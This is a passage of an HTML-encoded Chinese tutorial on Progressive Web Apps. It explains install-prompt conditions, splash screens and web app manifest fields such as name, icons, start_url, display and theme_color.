&#x4E8B;&#x4EF6;</li>\n</ul>\n</li>\n<li>&#x7AD9;&#x70B9;&#x901A;&#x8FC7; HTTPS &#x8BBF;&#x95EE;&#xFF08;&#x8C03;&#x8BD5;&#x6A21;&#x5F0F;&#x4E0B;&#x5141;&#x8BB8; <a href=\"http://127.0.0.1\" target=\"_blank\">http://127.0.0.1</a> &#x6216; <a href=\"http://localhost\" target=\"_blank\">http://localhost</a> &#x8BBF;&#x95EE;&#xFF09;</li>\n<li>&#x7AD9;&#x70B9;&#x5728;&#x540C;&#x4E00;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x81F3;&#x5C11;&#x8BBF;&#x95EE;&#x8FC7;&#x4E24;&#x6B21;&#xFF0C;&#x5E76;&#x4E14;&#x4E24;&#x6B21;&#x8BBF;&#x95EE;&#x95F4;&#x9694;&#x81F3;&#x5C11;&#x4E3A; 5 &#x5206;&#x949F;</li>\n</ul>\n<p>&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x5C55;&#x73B0;&#x7684;&#x89C4;&#x5219;&#x662F;&#x6D4F;&#x89C8;&#x5668;&#x5185;&#x7F6E;&#x7684;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x65E0;&#x6CD5;&#x4E3B;&#x52A8;&#x53BB;&#x89E6;&#x53D1;&#x5B83;&#xFF0C;&#x5426;&#x5219;&#x6BCF;&#x4E2A;&#x7AD9;&#x70B9;&#x90FD;&#x53EF;&#x80FD;&#x4F1A;&#x4E0D;&#x52A0;&#x8282;&#x5236;&#x5730;&#x89E6;&#x53D1;&#x5C55;&#x73B0;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#xFF0C;&#x5BFC;&#x81F4;&#x529F;&#x80FD;&#x6EE5;&#x7528;&#xFF0C;&#x4E25;&#x91CD;&#x7834;&#x574F;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x3002;&#x56E0;&#x6B64;&#x8BBE;&#x5B9A;&#x4E86;&#x4E24;&#x6B21;&#x4EE5;&#x4E0A;&#x8BBF;&#x95EE;&#xFF0C;&#x5E76;&#x4E14;&#x4E24;&#x6B21;&#x8BBF;&#x95EE;&#x95F4;&#x9694;&#x5728; 5 &#x5206;&#x949F;&#x4EE5;&#x4E0A;&#x7684;&#x9650;&#x5236;&#xFF0C;&#x65E2;&#x786E;&#x4FDD;&#x4E86;&#x7AD9;&#x70B9;&#x662F;&#x7528;&#x6237;&#x7ECF;&#x5E38;&#x6D4F;&#x89C8;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x4E5F;&#x540C;&#x65F6;&#x80FD;&#x4FDD;&#x8BC1;&#x5728;&#x7528;&#x6237;&#x9891;&#x7E41;&#x5207;&#x6362;&#x9875;&#x9762;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x4E0D;&#x4F1A;&#x5F39;&#x51FA;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x6253;&#x65AD;&#x6D4F;&#x89C8;&#x4F53;&#x9A8C;&#x3002;</p>\n<p>&#x5BF9;&#x4E8E;&#x4E0D;&#x540C;&#x6D4F;&#x89C8;&#x5668;&#x800C;&#x8A00;&#xFF0C;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x7684;&#x6837;&#x5F0F;&#x548C;&#x5C55;&#x73B0;&#x903B;&#x8F91;&#x53EF;&#x80FD;&#x5B58;&#x5728;&#x533A;&#x522B;&#xFF0C;&#x4E0D;&#x8FC7;&#x90FD;&#x662F;&#x5927;&#x540C;&#x5C0F;&#x5F02;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EA;&#x8981;&#x6EE1;&#x8DB3;&#x4E0A;&#x8FF0;&#x63D0;&#x5230;&#x7684;&#x5404;&#x9879;&#x6761;&#x4EF6;&#x5373;&#x53EF;&#x3002;</p>\n<h2 id=\"&#x8BBE;&#x7F6E;&#x542F;&#x52A8;&#x9875;&#x9762;\"><a name=\"&#x8BBE;&#x7F6E;&#x542F;&#x52A8;&#x9875;&#x9762;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BBE;&#x7F6E;&#x542F;&#x52A8;&#x9875;&#x9762;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BBE;&#x7F6E;&#x542F;&#x52A8;&#x9875;&#x9762;\" class=\"plugin-anchor\" href=\"#&#x8BBE;&#x7F6E;&#x542F;&#x52A8;&#x9875;&#x9762;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BBE;&#x7F6E;&#x542F;&#x52A8;&#x9875;&#x9762;</h2>\n<p>&#x4ECE;&#x4E3B;&#x5C4F;&#x5E55;&#x6253;&#x5F00;&#x7684;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x65F6;&#xFF0C;&#x4F1A;&#x9996;&#x5148;&#x5C55;&#x793A;&#x542F;&#x52A8;&#x9875;&#x9762;&#xFF0C;&#x540C;&#x65F6;&#x5E94;&#x7528;&#x540E;&#x53F0;&#x8FDB;&#x884C;&#x52A0;&#x8F7D;&#x8D44;&#x6E90;&#xFF0C;&#x6E32;&#x67D3;&#x9996;&#x5C4F;&#x7B49;&#x51C6;&#x5907;&#x5DE5;&#x4F5C;&#xFF0C;&#x907F;&#x514D;&#x4E86;&#x9875;&#x9762;&#x5728;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x4E2D;&#x663E;&#x793A;&#x767D;&#x5C4F;&#xFF0C;&#x7ED9;&#x7528;&#x6237;&#x4E00;&#x79CD;&#x4ECE;&#x6253;&#x5F00;&#x5230;&#x5C55;&#x73B0;&#x7684;&#x8FDE;&#x8D2F;&#x6027;&#x4F53;&#x9A8C;&#x3002;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x542F;&#x52A8;&#x9875;&#x9762;&#x4E00;&#x822C;&#x7531;&#x5E94;&#x7528;&#x56FE;&#x6807;&#x3001;&#x5E94;&#x7528;&#x540D;&#x79F0;&#x548C;&#x80CC;&#x666F;&#x8272;&#x6784;&#x6210;&#xFF1A;</p>\n<p><img src=\"img/start-page.jpg\" alt=\"&#x542F;&#x52A8;&#x9875;&#x9762;\"></p>\n<p>&#x542F;&#x52A8;&#x9875;&#x9762;&#x901A;&#x8FC7; manifest.json &#x6587;&#x4EF6;&#x7684;&#x4EE5;&#x4E0B;&#x914D;&#x7F6E;&#x751F;&#x6210;&#xFF1A;</p>\n<ul>\n<li>name &#x6216; short_name &#x5B9A;&#x4E49;&#x5E94;&#x7528;&#x540D;&#x79F0;&#xFF0C;&#x4F18;&#x5148;&#x91C7;&#x7528; name</li>\n<li>icons &#x5E94;&#x7528;&#x56FE;&#x6807;</li>\n<li>display &#x663E;&#x793A;&#x6A21;&#x5F0F;&#xFF0C;&#x5FC5;&#x987B;&#x53D6;&#x503C; <code>standalone</code> &#x6216; <code>fullscreen</code></li>\n<li>background_color &#x80CC;&#x666F;&#x989C;&#x8272;&#xFF0C;&#x652F;&#x6301; RGB &#x989C;&#x8272;&#x5B9A;&#x4E49;</li>\n</ul>\n<p>&#x7531;&#x4E8E;&#x542F;&#x52A8;&#x9875;&#x9762;&#x662F;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x8FC7;&#x7A0B;&#x4E2D;&#x663E;&#x793A;&#x7684;&#x4E34;&#x65F6;&#x9875;&#x9762;&#xFF0C;&#x5176;&#x5C55;&#x793A;&#x8FC7;&#x7A0B;&#x4F1A;&#x6BD4;&#x8F83;&#x77ED;&#xFF0C;&#x5EFA;&#x8BAE;&#x9009;&#x62E9;&#x9996;&#x9875;&#x4E3B;&#x8272;&#x8C03;&#x4F5C;&#x4E3A;&#x80CC;&#x666F;&#x8272;&#xFF0C;&#x8FD9;&#x6837;&#x91C7;&#x7528;&#x76F8;&#x540C;&#x7684;&#x989C;&#x8272;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x4ECE;&#x542F;&#x52A8;&#x9875;&#x9762;&#x5230;&#x9996;&#x9875;&#x7684;&#x5E73;&#x7A33;&#x8FC7;&#x6E21;&#x3002;</p>\n<h2 id=\"&#x914D;&#x7F6E;&#x9879;&#x8BE6;&#x89E3;\"><a name=\"&#x914D;&#x7F6E;&#x9879;&#x8BE6;&#x89E3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x914D;&#x7F6E;&#x9879;&#x8BE6;&#x89E3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x914D;&#x7F6E;&#x9879;&#x8BE6;&#x89E3;\" class=\"plugin-anchor\" href=\"#&#x914D;&#x7F6E;&#x9879;&#x8BE6;&#x89E3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x914D;&#x7F6E;&#x9879;&#x8BE6;&#x89E3;</h2>\n<p>&#x524D;&#x9762;&#x4E3B;&#x8981;&#x4ECB;&#x7ECD;&#x4E86; Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#x80FD;&#x591F;&#x7ED9; PWA &#x5E26;&#x6765;&#x4EC0;&#x4E48;&#x6837;&#x7684;&#x65B0;&#x529F;&#x80FD;&#x548C;&#x65B0;&#x4F53;&#x9A8C;&#xFF0C;&#x6211;&#x4EEC;&#x5728;&#x524D;&#x9762;&#x7684;&#x5185;&#x5BB9;&#x91CC;&#x53EA;&#x662F;&#x7B80;&#x5355;&#x4ECB;&#x7ECD;&#x4E86;&#x8FD9;&#x4E9B;&#x65B0;&#x529F;&#x80FD;&#x6240;&#x4F9D;&#x8D56; Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#x7684;&#x6700;&#x5C0F;&#x5316;&#x914D;&#x7F6E;&#xFF0C;&#x5E76;&#x672A;&#x5BF9;&#x8FD9;&#x4E9B;&#x914D;&#x7F6E;&#x9879;&#x7684;&#x529F;&#x80FD;&#x3001;&#x53D6;&#x503C;&#x7B49;&#x8FDB;&#x884C;&#x5177;&#x4F53;&#x5C55;&#x5F00;&#x3002;&#x5728;&#x8FD9;&#x4E2A;&#x5C0F;&#x8282;&#x91CC;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x5BF9;&#x4E00;&#x4E9B;&#x5E38;&#x7528;&#x7684;&#x914D;&#x7F6E;&#x9879;&#x8FDB;&#x884C;&#x8BE6;&#x7EC6;&#x8BF4;&#x660E;&#x3002;</p>\n<h3 id=\"name-&#x548C;-shortname\"><a name=\"name-&#x548C;-shortname\" class=\"anchor-navigation-ex-anchor\" href=\"#name-&#x548C;-shortname\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"name-&#x548C;-shortname\" class=\"plugin-anchor\" href=\"#name-&#x548C;-shortname\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>name &#x548C; short_name</h3>\n<p><code>name</code>&#xFF0C;<code>short_name</code>&#xFF0C;&#x7528;&#x6765;&#x914D;&#x7F6E;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x7684;&#x540D;&#x79F0;&#x3002;&#x5176;&#x4E2D; <code>name</code> &#x4E3A;&#x5E94;&#x7528;&#x5168;&#x79F0;&#xFF0C;&#x7528;&#x4E8E;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x3001;&#x542F;&#x52A8;&#x9875;&#x9762;&#x7684;&#x663E;&#x793A;&#xFF1B;<code>short_name</code> &#x4E3A;&#x5E94;&#x7528;&#x540D;&#x7684;&#x7B80;&#x5199;&#xFF0C;&#x7528;&#x4E8E;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x65F6;&#x7684;&#x5E94;&#x7528;&#x540D;&#x5C55;&#x793A;&#x3002;&#x5E94;&#x7528;&#x540D;&#x79F0;&#x662F; Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#x5FC5;&#x987B;&#x7684;&#x914D;&#x7F6E;&#x9879;&#xFF0C;&#x56E0;&#x6B64; <code>name</code> &#x548C; <code>short_name</code> &#x9700;&#x8981;&#x81F3;&#x5C11;&#x914D;&#x7F6E;&#x5176;&#x4E2D;&#x4E00;&#x9879;&#x3002;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x5F53;&#x914D;&#x7F6E; <code>name</code> &#x4E3A; Progressive Web App&#xFF0C;<code>short_name</code> &#x4E3A; PWA&#xFF0C;&#x90A3;&#x4E48;&#x5728;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x548C;&#x542F;&#x52A8;&#x9875;&#x9762;&#x4E0A;&#x5C06;&#x5C55;&#x793A; Progressive Web App&#xFF0C;&#x800C;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x7684;&#x5FEB;&#x6377;&#x65B9;&#x5F0F;&#x5C06;&#x663E;&#x793A; PWA&#x3002;</p>\n<p><img src=\"img/combo-add-short-loading.jpg\" alt=\"name &#x548C; short_name &#x914D;&#x7F6E;&#x9879;&#x5E94;&#x7528;\"></p>\n<h3 id=\"icons\"><a name=\"icons\" class=\"anchor-navigation-ex-anchor\" href=\"#icons\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"icons\" class=\"plugin-anchor\" href=\"#icons\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>icons</h3>\n<p><code>icons</code> &#x7528;&#x6765;&#x5B9A;&#x5236;&#x5E94;&#x7528;&#x56FE;&#x6807;&#x3002;<code>icons</code> &#x63A5;&#x6536;&#x7684;&#x662F;&#x4E00;&#x4E2A;&#x56FE;&#x6807;&#x63CF;&#x8FF0;&#x5BF9;&#x8C61;&#x5217;&#x8868;&#xFF0C;&#x6BCF;&#x4E2A;&#x56FE;&#x6807;&#x7684;&#x63CF;&#x8FF0;&#x5BF9;&#x8C61;&#x5305;&#x542B;&#x4E09;&#x4E2A;&#x5C5E;&#x6027;&#xFF1A;</p>\n<ul>\n<li>src&#xFF1A;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x56FE;&#x6807; URL&#xFF1B;</li>\n<li>sizes&#xFF1A;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x56FE;&#x6807;&#x5C3A;&#x5BF8;&#xFF0C;&#x683C;&#x5F0F;&#x4E3A; <code>&#x5BBD;x&#x9AD8;</code>&#xFF0C;&#x6570;&#x503C;&#x5355;&#x4F4D;&#x9ED8;&#x8BA4;&#x4E3A; <code>px</code>&#x3002;&#x5BF9;&#x4E8E; <code>.ico</code> &#x7C7B;&#x578B;&#x7684;&#x56FE;&#x6807;&#x652F;&#x6301;&#x591A;&#x79CD;&#x5C3A;&#x5BF8;&#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x7A7A;&#x683C;&#x4F5C;&#x4E3A;&#x95F4;&#x9694;&#xFF0C;&#x6BD4;&#x5982; <code>48x48 96x96 128x128</code>&#xFF1B;</li>\n<li>type&#xFF1A;&#x5B57;&#x7B26;&#x4E32;&#xFF0C;&#x975E;&#x5FC5;&#x586B;&#x9879;&#xFF0C;&#x56FE;&#x6807;&#x7684; mime &#x7C7B;&#x578B;&#xFF0C;&#x53EF;&#x4EE5;&#x7528;&#x6765;&#x8BA9;&#x6D4F;&#x89C8;&#x5668;&#x5FEB;&#x901F;&#x5FFD;&#x7565;&#x6389;&#x4E0D;&#x652F;&#x6301;&#x7684;&#x56FE;&#x6807;&#x7C7B;&#x578B;&#x3002;</li>\n</ul>\n<p>&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x4F20;&#x5165;&#x4E00;&#x7CFB;&#x5217;&#x5C3A;&#x5BF8;&#x5927;&#x5C0F;&#x7684;&#x56FE;&#x7247;&#x63CF;&#x8FF0;&#x5BF9;&#x8C61;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x81EA;&#x52A8;&#x6839;&#x636E;&#x5F53;&#x524D;&#x5206;&#x8FA8;&#x7387;&#x548C;&#x56FE;&#x6807;&#x7684;&#x7528;&#x9014;&#x9009;&#x62E9;&#x5408;&#x9002;&#x5C3A;&#x5BF8;&#x7684;&#x56FE;&#x7247;&#xFF0C;&#x6BD4;&#x5982;&#x4E3B;&#x5C4F;&#x5E55;&#x663E;&#x793A;&#x4F1A;&#x9009;&#x62E9; <code>144x144</code> &#x5927;&#x5C0F;&#x7684;&#x56FE;&#x6807;&#xFF0C;&#x800C;&#x542F;&#x52A8;&#x9875;&#x9762;&#x5219;&#x4F1A;&#x9009;&#x62E9;&#x5C3A;&#x5BF8;&#x66F4;&#x5927;&#x4E00;&#x4E9B;&#x7684;&#x56FE;&#x6807;&#x3002;</p>\n<h3 id=\"starturl\"><a name=\"starturl\" class=\"anchor-navigation-ex-anchor\" href=\"#starturl\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"starturl\" class=\"plugin-anchor\" href=\"#starturl\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>start_url</h3>\n<p><code>start_url</code> &#x7528;&#x6765;&#x5B9A;&#x4E49;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x540E;&#x7684;&#x542F;&#x52A8; URL&#x3002;<code>start_url</code> &#x53EF;&#x4EE5;&#x91C7;&#x7528;&#x7EDD;&#x5BF9;&#x8DEF;&#x5F84;&#x548C;&#x76F8;&#x5BF9;&#x8DEF;&#x5F84;&#x7684;&#x65B9;&#x5F0F;&#x5B9A;&#x4E49;&#xFF0C;&#x5982;&#x679C;&#x91C7;&#x7528;&#x7684;&#x662F;&#x76F8;&#x5BF9;&#x8DEF;&#x5F84;&#xFF0C;&#x5176;&#x76F8;&#x5BF9;&#x7684;&#x57FA;&#x7840;&#x8DEF;&#x5F84;&#x4E3A;&#x5F53;&#x524D; manifest.json &#x6587;&#x4EF6;&#x7684; URL&#x3002;&#x6BD4;&#x5982; <code>start_url</code> &#x4E3A; <code>../hello</code>&#xFF0C;&#x800C; manifest.json &#x7684;&#x8DEF;&#x5F84;&#x4E3A; <code>https://path/to/manifest.json</code> &#x90A3;&#x4E48;&#x542F;&#x52A8;&#x7684; URL &#x4E3A; <code>https://path/hello</code>&#x3002;</p>\n<p>&#x5728;&#x76EE;&#x524D;&#x7684;&#x6761;&#x4EF6;&#x4E0B;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C1A;&#x672A;&#x63D0;&#x4F9B;&#x4EFB;&#x4F55;&#x5C5E;&#x6027;&#x503C;&#x6216;&#x8005;&#x73AF;&#x5883;&#x53D8;&#x91CF;&#x6765;&#x5E2E;&#x52A9;&#x7A0B;&#x5E8F;&#x5224;&#x65AD;&#x5F53;&#x524D;&#x7684;&#x7F51;&#x7AD9;&#x662F;&#x76F4;&#x63A5;&#x901A;&#x8FC7;&#x6D4F;&#x89C8;&#x5668;&#x6253;&#x5F00;&#x8FD8;&#x662F;&#x901A;&#x8FC7;&#x684C;&#x9762;&#x56FE;&#x6807;&#x542F;&#x52A8;&#x7684;&#xFF0C;&#x4F46;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5229;&#x7528; <code>start_url</code> &#x6765;&#x7B80;&#x5355;&#x5730;&#x5B9E;&#x73B0;&#x8FD9;&#x4E2A;&#x529F;&#x80FD;&#x3002;&#x901A;&#x8FC7;&#x5728; <code>start_url</code> &#x589E;&#x52A0; query &#x53C2;&#x6570;&#xFF0C;&#x6BD4;&#x5982;&#x589E;&#x52A0; <code>from=homescreen</code> &#x8FD9;&#x6837;&#x7684;&#x53C2;&#x6570;&#xFF0C;&#x90A3;&#x4E48;&#x6211;&#x4EEC;&#x5C31;&#x53EF;&#x4EE5;&#x5728;&#x7A0B;&#x5E8F;&#x91CC;&#x901A;&#x8FC7;&#x83B7;&#x53D6; URL &#x4E0A;&#x7684; query &#x53C2;&#x6570;&#x8FDB;&#x884C;&#x5224;&#x65AD;&#xFF0C;&#x8FDB;&#x800C;&#x53BB;&#x63A7;&#x5236;&#x8C03;&#x6574;&#x9875;&#x9762;&#x7684;&#x5C55;&#x73B0;&#x903B;&#x8F91;&#x3001;&#x53BB;&#x53D1;&#x9001;&#x6E20;&#x9053;&#x5C55;&#x73B0;&#x7EDF;&#x8BA1;&#x7B49;&#x7B49;&#x3002;</p>\n<h3 id=\"display\"><a name=\"display\" class=\"anchor-navigation-ex-anchor\" href=\"#display\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"display\" class=\"plugin-anchor\" href=\"#display\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>display</h3>\n<p><code>display</code> &#x7528;&#x6765;&#x5B9A;&#x4E49;&#x4ECE;&#x684C;&#x9762;&#x6253;&#x5F00;&#x7684;&#x7F51;&#x7AD9;&#x7684;&#x663E;&#x793A;&#x6A21;&#x5F0F;&#x3002;&#x76EE;&#x524D;&#x652F;&#x6301;&#x7684;&#x663E;&#x793A;&#x6A21;&#x5F0F;&#x6709;&#x4EE5;&#x4E0B;&#x51E0;&#x79CD;&#xFF1A;</p>\n<table>\n<thead>\n<tr>\n<th>&#x663E;&#x793A;&#x6A21;&#x5F0F;</th>\n<th>&#x63CF;&#x8FF0;</th>\n<th>&#x964D;&#x7EA7;&#x663E;&#x793A;&#x7C7B;&#x578B;</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>fullscreen</td>\n<td>&#x5168;&#x5C4F;&#x6A21;&#x5F0F;&#xFF0C;&#x9875;&#x9762;&#x5360;&#x6EE1;&#x6574;&#x4E2A;&#x5C4F;&#x5E55;&#xFF0C;&#x5305;&#x62EC;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x7684;&#x72B6;&#x6001;&#x680F;&#x90FD;&#x4F1A;&#x88AB;&#x9875;&#x9762;&#x8986;&#x76D6;</td>\n<td>standalone</td>\n</tr>\n<tr>\n<td>standalone</td>\n<td>&#x72EC;&#x7ACB;&#x6A21;&#x5F0F;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x76F8;&#x5173;UI&#xFF08;&#x5982;&#x5BFC;&#x822A;&#x680F;&#x3001;&#x5DE5;&#x5177;&#x680F;&#x7B49;&#xFF09;&#x5C06;&#x4F1A;&#x88AB;&#x9690;&#x85CF;&#xFF0C;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x72B6;&#x6001;&#x680F;&#x4E0D;&#x4F1A;&#x88AB;&#x8986;&#x76D6;</td>\n<td>minimal-ui</td>\n</tr>\n<tr>\n<td>minimal-ui</td>\n<td>&#x663E;&#x793A;&#x5F62;&#x5F0F;&#x4E0E;standalone&#x7C7B;&#x4F3C;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x76F8;&#x5173;UI&#x4F1A;&#x6700;&#x5C0F;&#x5316;&#x4E3A;&#x4E00;&#x4E2A;&#x6309;&#x94AE;&#xFF0C;&#x4E0D;&#x540C;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x5B9E;&#x73B0;&#x4E0A;&#x7565;&#x6709;&#x4E0D;&#x540C;&#xFF0C;&#x652F;&#x6301;&#x5EA6;&#x8F83;&#x4F4E;</td>\n<td>browser</td>\n</tr>\n<tr>\n<td>browser</td>\n<td>&#x6D4F;&#x89C8;&#x5668;&#x6A21;&#x5F0F;&#xFF0C;&#x76F4;&#x63A5;&#x901A;&#x8FC7;&#x6D4F;&#x89C8;&#x5668;&#x6253;&#x5F00;&#x7F51;&#x9875;&#x7684;&#x666E;&#x901A;&#x5C55;&#x73B0;&#x65B9;&#x5F0F;&#xFF0C;&#x5305;&#x542B;&#x5730;&#x5740;&#x680F;&#x3001;&#x5DE5;&#x5177;&#x680F;&#x7B49;&#x6D4F;&#x89C8;&#x5668;&#x5143;&#x7D20;</td>\n<td>None</td>\n</tr>\n</tbody>\n</table>\n<p>&#x5728;&#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x5C06;&#x4EE5; browser &#x6A21;&#x5F0F;&#x6765;&#x663E;&#x793A;&#xFF0C;&#x5C55;&#x793A;&#x51FA;&#x5730;&#x5740;&#x680F;&#x3001;&#x5DE5;&#x5177;&#x680F;&#x7B49;&#x6D4F;&#x89C8;&#x5668;&#x5143;&#x7D20;&#xFF0C;&#x8FD9;&#x4E0D;&#x4F46;&#x6324;&#x5360;&#x4E86;&#x5B9D;&#x8D35;&#x7684;&#x5C4F;&#x5E55;&#x53EF;&#x89C6;&#x533A;&#x57DF;&#xFF0C;&#x540C;&#x65F6;&#x4E5F;&#x4E0D;&#x5229;&#x4E8E;&#x7528;&#x6237;&#x4E13;&#x6CE8;&#x4E8E;&#x5F53;&#x524D;&#x7684;&#x7AD9;&#x70B9;&#x670D;&#x52A1;&#x3002;&#x6709;&#x4E86; <code>display</code> &#x914D;&#x7F6E;&#x9879;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x5F53;&#x524D;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x7684;&#x5F62;&#x6001;&#x9009;&#x62E9;&#x4E0D;&#x540C;&#x7684;&#x663E;&#x793A;&#x6A21;&#x5F0F;&#xFF0C;&#x6BD4;&#x5982; HTML5 &#x6E38;&#x620F;&#xFF0C;&#x53EF;&#x4EE5;&#x9009;&#x62E9; fullscreen &#x6A21;&#x5F0F;&#xFF0C;&#x5B8C;&#x5168;&#x5360;&#x6EE1;&#x5C4F;&#x5E55;&#x51CF;&#x5C0F;&#x6E38;&#x620F;&#x8FC7;&#x7A0B;&#x8BEF;&#x64CD;&#x4F5C;&#x7684;&#x53EF;&#x80FD;&#xFF1B;&#x6BD4;&#x5982;&#x5177;&#x6709;&#x95ED;&#x73AF;&#x670D;&#x52A1;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x5219;&#x53EF;&#x4EE5;&#x9009;&#x62E9; standalone &#x6A21;&#x5F0F;&#x5C06;&#x7528;&#x6237;&#x7559;&#x5728;&#x5F53;&#x524D;&#x7684;&#x7F51;&#x7AD9;&#x4E2D;&#xFF0C;&#x51CF;&#x5C11;&#x8DF3;&#x51FA;&#x7684;&#x53EF;&#x80FD;&#x3002;</p>\n<p><img src=\"img/display-mode.jpg\" alt=\"&#x663E;&#x793A;&#x6A21;&#x5F0F;\"></p>\n<h3 id=\"backgroundcolor-&#x548C;-themecolor\"><a name=\"backgroundcolor-&#x548C;-themecolor\" class=\"anchor-navigation-ex-anchor\" href=\"#backgroundcolor-&#x548C;-themecolor\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"backgroundcolor-&#x548C;-themecolor\" class=\"plugin-anchor\" href=\"#backgroundcolor-&#x548C;-themecolor\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>background_color &#x548C; theme_color</h3>\n<p><code>background_color</code> &#x5B9A;&#x4E49;&#x7F51;&#x7AD9;&#x80CC;&#x666F;&#x8272;&#xFF0C;&#x5728;&#x663E;&#x793A;&#x542F;&#x52A8;&#x9875;&#x9762;&#x65F6;&#x751F;&#x6548;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x5F53; <code>background_color</code> &#x8BBE;&#x7F6E;&#x4E3A; <code>#ffffff</code> &#x65F6;&#xFF0C;&#x542F;&#x52A8;&#x9875;&#x9762;&#x7684;&#x80CC;&#x666F;&#x663E;&#x793A;&#x4E3A;&#x767D;&#x8272;&#x3002;</p>\n<p><code>theme_color</code> &#x5B9A;&#x4E49;&#x7F51;&#x7AD9;&#x7684;&#x4E3B;&#x9898;&#x8272;&#xFF0C;<code>theme_color</code> &#x4F1A;&#x5F71;&#x54CD;&#x5230;&#x6D4F;&#x89C8;&#x5668; UI &#x5143;&#x7D20;&#x7684;&#x663E;&#x793A;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x5F53; <code>theme_color</code> &#x8BBE;&#x7F6E;&#x4E3A; <code>#1976d2</code> &#x65F6;&#xFF0C;&#x542F;&#x52A8;&#x9875;&#x9762;&#x7684;&#x9876;&#x90E8;&#x624B;&#x673A;&#x72B6;&#x6001;&#x680F;&#x7684;&#x989C;&#x8272;&#x663E;&#x793A;&#x4E3A;&#x84DD;&#x8272;&#x3002;</p>\n<p><img src=\"img/theme-and-background-color.jpg\" alt=\"&#x4E3B;&#x9898;&#x989C;&#x8272;&#x548C;&#x80CC;&#x666F;&#x989C;&#x8272;\"></p>\n<p>&#x5F53;&#x4F7F;&#x7528;&#x6D4F;&#x89C8;&#x5668;&#x6B63;&#x5E38;&#x8BBF;&#x95EE;&#x9875;&#x9762;&#x65F6;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x5373;&#x4F7F;&#x5B9A;&#x4E49;&#x4E86; <code>theme_color</code>&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x5730;&#x5740;&#x680F;&#x3001;&#x5DE5;&#x5177;&#x680F;&#x7B49;&#x5E76;&#x6CA1;&#x6709;&#x53D8;&#x6210;&#x84DD;&#x8272;&#xFF0C;&#x8FD9;&#x662F;&#x56E0;&#x4E3A;&#x9875;&#x9762;&#x4E3B;&#x9898;&#x8272;&#x662F;&#x7531; HTML &#x6240;&#x901A;&#x8FC7; <code>meta</code> &#x6807;&#x7B7E;&#x6240;&#x5B9A;&#x4E49;&#x7684;&#xFF0C;&#x6807;&#x7B7E;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token 